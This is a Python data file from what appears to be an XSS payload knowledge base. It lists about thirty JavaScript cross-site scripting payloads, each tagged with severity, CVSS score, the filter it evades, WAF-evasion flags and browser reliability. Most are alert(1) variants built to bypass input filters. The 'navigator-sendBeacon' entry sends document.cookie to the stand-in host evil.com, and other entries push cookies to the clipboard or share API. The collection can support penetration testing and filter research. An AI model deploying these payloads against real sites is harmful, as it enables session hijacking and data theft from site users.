#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Ultra Deep XSS Payloads - Part 2
Obscure JavaScript tricks, window properties, and timer APIs.
"""

from ..models import PayloadEntry


BRS_KB_ULTRA_DEEP_PAYLOADS_PART2 = {
    # ============================================================
    # OBSCURE JAVASCRIPT TRICKS
    # ============================================================
    "js-octal-legacy": PayloadEntry(
        payload="alert(010)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Legacy octal literal",
        tags=["javascript", "octal", "legacy"],
        bypasses=["number_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-exponentiation": PayloadEntry(
        payload="alert(2**0)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Exponentiation operator",
        tags=["javascript", "exponent"],
        bypasses=["operator_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-spread-call": PayloadEntry(
        payload="alert(...[1])",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Spread in function call",
        tags=["javascript", "spread"],
        bypasses=["argument_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-array-hole": PayloadEntry(
        payload="[,alert][1](1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Array hole exploitation",
        tags=["javascript", "array", "hole"],
        bypasses=["array_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-rest-params": PayloadEntry(
        payload="((...a)=>a[0](1))(alert)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Rest parameters exploitation",
        tags=["javascript", "rest"],
        bypasses=["param_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-default-params": PayloadEntry(
        payload="((a=alert(1))=>a)()",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Default parameter execution",
        tags=["javascript", "default"],
        bypasses=["param_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-computed-method": PayloadEntry(
        payload="({['al'+'ert'](x){}}['alert'](1))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Computed method name",
        tags=["javascript", "computed"],
        bypasses=["method_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-shorthand-method": PayloadEntry(
        payload="({alert}={alert});alert(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Shorthand method extraction",
        tags=["javascript", "shorthand"],
        bypasses=["destructure_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-for-of-exploit": PayloadEntry(
        payload="for(let x of[alert])x(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="For-of loop execution",
        tags=["javascript", "forof"],
        bypasses=["loop_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-for-in-exploit": PayloadEntry(
        payload="for(let x in{alert})window[x](1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="For-in loop with window access",
        tags=["javascript", "forin"],
        bypasses=["loop_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-do-while": PayloadEntry(
        payload="do{alert(1)}while(0)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Do-while single execution",
        tags=["javascript", "dowhile"],
        bypasses=["loop_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-switch": PayloadEntry(
        payload="switch(1){case 1:alert(1)}",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Switch case execution",
        tags=["javascript", "switch"],
        bypasses=["switch_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "js-try-finally": PayloadEntry(
        payload="try{}finally{alert(1)}",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Try-finally execution",
        tags=["javascript", "finally"],
        bypasses=["try_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # FORGOTTEN WINDOW PROPERTIES
    # ============================================================
    "window-onerror-global": PayloadEntry(
        payload="onerror=alert;throw 1",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Global onerror handler",
        tags=["window", "onerror"],
        bypasses=["error_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "window-onunhandledrejection": PayloadEntry(
        payload="onunhandledrejection=e=>alert(e);Promise.reject(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Unhandled rejection handler",
        tags=["window", "promise"],
        bypasses=["promise_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "window-onmessage": PayloadEntry(
        payload="onmessage=e=>alert(e.data)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Window message handler",
        tags=["window", "message"],
        bypasses=["message_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "window-onhashchange": PayloadEntry(
        payload="onhashchange=()=>alert(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Hash change handler",
        tags=["window", "hashchange"],
        bypasses=["hash_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "window-onstorage": PayloadEntry(
        payload="onstorage=()=>alert(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Storage event handler",
        tags=["window", "storage"],
        bypasses=["storage_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "window-onoffline": PayloadEntry(
        payload="onoffline=()=>alert(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Offline event handler",
        tags=["window", "offline"],
        bypasses=["network_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
    ),
    "window-ononline": PayloadEntry(
        payload="ononline=()=>alert(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Online event handler",
        tags=["window", "online"],
        bypasses=["network_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
    ),
    # ============================================================
    # SETTIMEOUT/SETINTERVAL TRICKS
    # ============================================================
    "setTimeout-array": PayloadEntry(
        payload="setTimeout([].constructor.constructor('alert(1)'))",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.5,
        description="setTimeout with constructor chain",
        tags=["setTimeout", "constructor"],
        bypasses=["timer_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "setTimeout-args": PayloadEntry(
        payload="setTimeout(alert,0,1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="setTimeout with function args",
        tags=["setTimeout", "args"],
        bypasses=["timer_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "requestAnimationFrame": PayloadEntry(
        payload="requestAnimationFrame(()=>alert(1))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="requestAnimationFrame callback",
        tags=["animation", "callback"],
        bypasses=["timer_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "requestIdleCallback": PayloadEntry(
        payload="requestIdleCallback(()=>alert(1))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="requestIdleCallback execution",
        tags=["idle", "callback"],
        bypasses=["timer_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "queueMicrotask": PayloadEntry(
        payload="queueMicrotask(()=>alert(1))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Microtask queue execution",
        tags=["microtask", "callback"],
        bypasses=["timer_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # NAVIGATOR TRICKS
    # ============================================================
    "navigator-sendBeacon": PayloadEntry(
        payload="navigator.sendBeacon('//evil.com',document.cookie)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Beacon API exfiltration",
        tags=["navigator", "beacon"],
        bypasses=["exfil_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "navigator-clipboard": PayloadEntry(
        payload="navigator.clipboard.writeText(document.cookie)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Clipboard API write",
        tags=["navigator", "clipboard"],
        bypasses=["clipboard_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "navigator-share": PayloadEntry(
        payload="navigator.share({text:document.cookie})",
        contexts=["javascript"],
        severity="medium",
        cvss_score=6.5,
        description="Web Share API",
        tags=["navigator", "share"],
        bypasses=["share_filters"],
        waf_evasion=True,
        browser_support=["chrome", "safari"],
        reliability="low",
    ),
    "navigator-vibrate": PayloadEntry(
        payload="navigator.vibrate(alert(1)||1000)",
        contexts=["javascript"],
        severity="medium",
        cvss_score=6.0,
        description="Vibrate API with side effect",
        tags=["navigator", "vibrate"],
        bypasses=["vibrate_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox"],
        reliability="high",
    ),
}
